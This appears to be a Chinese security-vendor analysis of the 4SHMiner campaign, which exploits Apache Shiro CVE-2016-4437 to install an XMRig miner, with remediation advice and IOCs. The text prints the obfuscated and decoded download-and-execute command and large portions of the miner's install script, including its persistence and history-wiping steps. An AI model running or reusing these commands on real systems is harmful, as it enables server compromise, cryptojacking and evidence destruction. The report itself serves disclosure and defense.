背景
近日腾讯云主机安全(云镜)捕获到挖矿木马4SHMiner利用Apache Shiro反序列化漏洞CVE-2016-4437针对云服务器的攻击行动。4SHMiner挖矿团伙入侵成功后会执行命令下载4.sh,然后下载XMRig挖矿木马并通过Linux service、systemctl服务,系统配置文件$HOME/.profile,crontab定时任务进行持久化。
通过其使用的门罗币钱包算力(约333KH/s)进行推算,4SHMiner团伙已控制约1.5万台服务器进行挖矿,并且根据算力突变数据可知其在2020.11.16至17日一天之内新增感染近1万台机器。腾讯安全建议企业及时检查服务器是否部署了小于1.2.5版本的Apache Shiro,并将其升级到1.2.5及以上版本。同时对以下位置进行检查并删除相关文件和启动项:
/tmp/4.sh
/tmp/xmrig.tar.gz
$HOME/moneroocean/xmrig
/etc/init.d/c3pool_miner
/etc/systemd/system/moneroocean_miner.service
$HOME/.profile
crontab
腾讯安全系列产品应对4SHMiner挖矿木马的响应清单:
更多产品信息,请参考腾讯安全官方网站https://s.tencent.com/
详细分析
Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。在Apache Shiro <=1.2.4版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞CVE-2016-4437,进而在目标机器上执行任意命令。
该漏洞利用POC已被公开:
https://github.com/lightless233/Java-Unserialization-Study/tree/master/src/main/java/me/lightless/shiro
攻击者批量扫描网站,并将精心构造的包含漏洞利用的数据包发送至服务器。
漏洞攻击成功执行恶意命令:
bash -c {echo,d2dldCBodHRwOi8vd3d3LnNoaXp1MzcuY29tL3N0YXRpYy80LnNoIC1PIC90bXAvNC5zaCAmJiBiYXNoIC90bXAvNC5zaCAxMjM=}|{base64,-d}|{bash,-i}
base64解码命令:
wget http[:]//www.shizu37.com/static/4.sh -O /tmp/4.sh && bash /tmp/4.sh 123
恶意命令从www[.]shizu37.com下载shell脚本4.sh,保存到tmp目录并执行。我们发现www[.]shizu37.com是厦门某服装企业的网站,有可能是被黑客利用漏洞入侵之后,控制服务器将其作为木马下载地址。
4.sh主要功能为下载安装挖矿木马及持久化。首先检测进程xmrig是否存在,不存在则启动挖矿进程$HOME/moneroocean/xmrig。
设置参数,其中WALLET为门罗币钱包,EMAIL通过4.sh启动时的第二个参数传入。
WALLET='48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF'
EMAIL=$2
检测运行环境,设置当前目录为home,安装脚本执行所需的curl、lscpu程序。
通过lscpu命令获取CPU频率、核心数、缓存大小等信息,并通过公式计算的到EXP_MONERO_HASHRATE(每秒可执行哈希量)。
利用EXP_MONERO_HASHRATE进一步计算得到PORT,PORT将会作为后续挖矿时的端口号。
PORT=$(( $EXP_MONERO_HASHRATE * 12 / 1000 ))
PORT=$(( $PORT == 0 ? 1 : $PORT ))
PORT=`power2 $PORT`
PORT=$(( 10000 + $PORT ))
if [ -z $PORT ]; then
echo "ERROR: Can't compute port"
exit 1
fi
if [ "$PORT" -lt "10001" -o "$PORT" -gt "18192" ]; then
echo "ERROR: Wrong computed port value: $PORT"
exit 1
fi
接着下载XMRig挖矿木马到/tmp/xmrig.tar.gz,并将其解压到$HOME/moneroocean/xmrig,同时下载配置文件到$HOME/moneroocean/config.json。
挖矿木马下载地址:
http[:]//download.c3pool.com/xmrig_setup/raw/master/xmrig.tar.gz
https[:]//raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz
https[:]//github.com/xmrig/xmrig/releases/latest
配置文件下载地址:
http[:]//www.shizu37.com/static/config.json
从启动命令第一个参数$1中获得挖矿登陆密码$PASS,以及利用CPU信息计算得到的$PORT、内置钱包地址$WALLET写入$HOME/moneroocean/config.json,并将配置文件拷贝到
$HOME/moneroocean/config_background.json。
创建挖矿木马启动脚本$HOME/moneroocean/miner.sh并拷贝到/etc/init.d/c3pool_miner,通过服务启动挖矿service c3pool_miner start。
将挖矿启动命令写入配置文件$HOME/.profile以便在用户登陆时自动运行。
修改最大内存页hugepages以提高性能。
if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') > 3500000 ]]; then
echo "[*] Enabling huge pages"
echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
fi
通过安装systemctl服务/etc/systemd/system/moneroocean_miner.service启动挖矿脚本:
cat >/tmp/moneroocean_miner.service <<EOL
[Unit]
Description=Monero miner service
[Service]
ExecStart=$HOME/moneroocean/xmrig --config=$HOME/moneroocean/config.json
Restart=always
Nice=10
CPUWeight=1
[Install]
WantedBy=multi-user.target
EOL
sudo mv /tmp/moneroocean_miner.service
/etc/systemd/system/moneroocean_miner.service
echo "[*] Starting moneroocean_miner systemd service"
sudo killall xmrig 2>/dev/null
sudo systemctl daemon-reload
sudo systemctl enable moneroocean_miner.service
sudo systemctl start moneroocean_miner.service
通过安装crontab定时任务在每天21:30分执行一次挖矿启动脚本:
cat >/tmp/cron << EOL
30 21 * * * bash $HOME/moneroocean/miner.sh
EOL
echo ""
echo "Persistent process by crontab service"
yum -y install vixie-cron
yum -y install crontabs
sudo apt-get install cron
systemctl start crond.service
systemctl enable crond.service
service crond start
chkconfig --level 35 crond on
crontab /tmp/cron
echo "[*] Setup complete"
最后删除临时文件、删除命令执行记录:
rm -f /tmp/*.sh
rm -f /tmp/cron
history -c
echo ''>/$HOME/.bash_history
从脚本中获得挖矿使用的两个矿池和钱包:
矿池:mine.c3pool.com:13333
钱包:
4AunTXsvKJWUGkQ2LuqeNmTkH9oPJt2Wc7LYweKVfbiYDZLjSdGMA9cfrDm6HLLZHCLoDrhqKjNBo9EPaqsZrYN92Ng5S68
矿池:gulf.moneroocean.stream
钱包:
48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF
按照钱包平均算力121 KH/s+212 KH/s=333 KH/s,推算其控制约一万五千台服务器进行挖矿。其中第二个钱包在2020.11.16日晚至17日凌晨算力突增约180KH/s,意味着该挖矿木马在一天之内新增感染近1万台服务器。
IOCs
Md5
4.sh 431F20DFF2233F7A4A286105958D28BE
xmrig.tar.gz 4C010F248891A65E91600B613A654F5F
IP
118.254.9.180
URL
http[:]//www.shizu37.com/static/4.sh
http[:]//www.shizu37.com/static/config.json
钱包:
4AunTXsvKJWUGkQ2LuqeNmTkH9oPJt2Wc7LYweKVfbiYDZLjSdGMA9cfrDm6HLLZHCLoDrhqKjNBo9EPaqsZrYN92Ng5S68
48BBjhM6wjtVPPteiAAyy4FfQogMVvJdSWqbT3T8L9cGb9NhUPRtMHkYVmzLgpYEiuh9B6J1yrXhPdjtnmf7rfQyA73rWaF
参考链接:
https://www.cvedetails.com/cve/CVE-2016-4437/
https://www.anquanke.com/vul/id/1148122
https://github.com/lightless233/Java-Unserialization-Study/tree/master/src/main/java/me/lightless/shiro
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)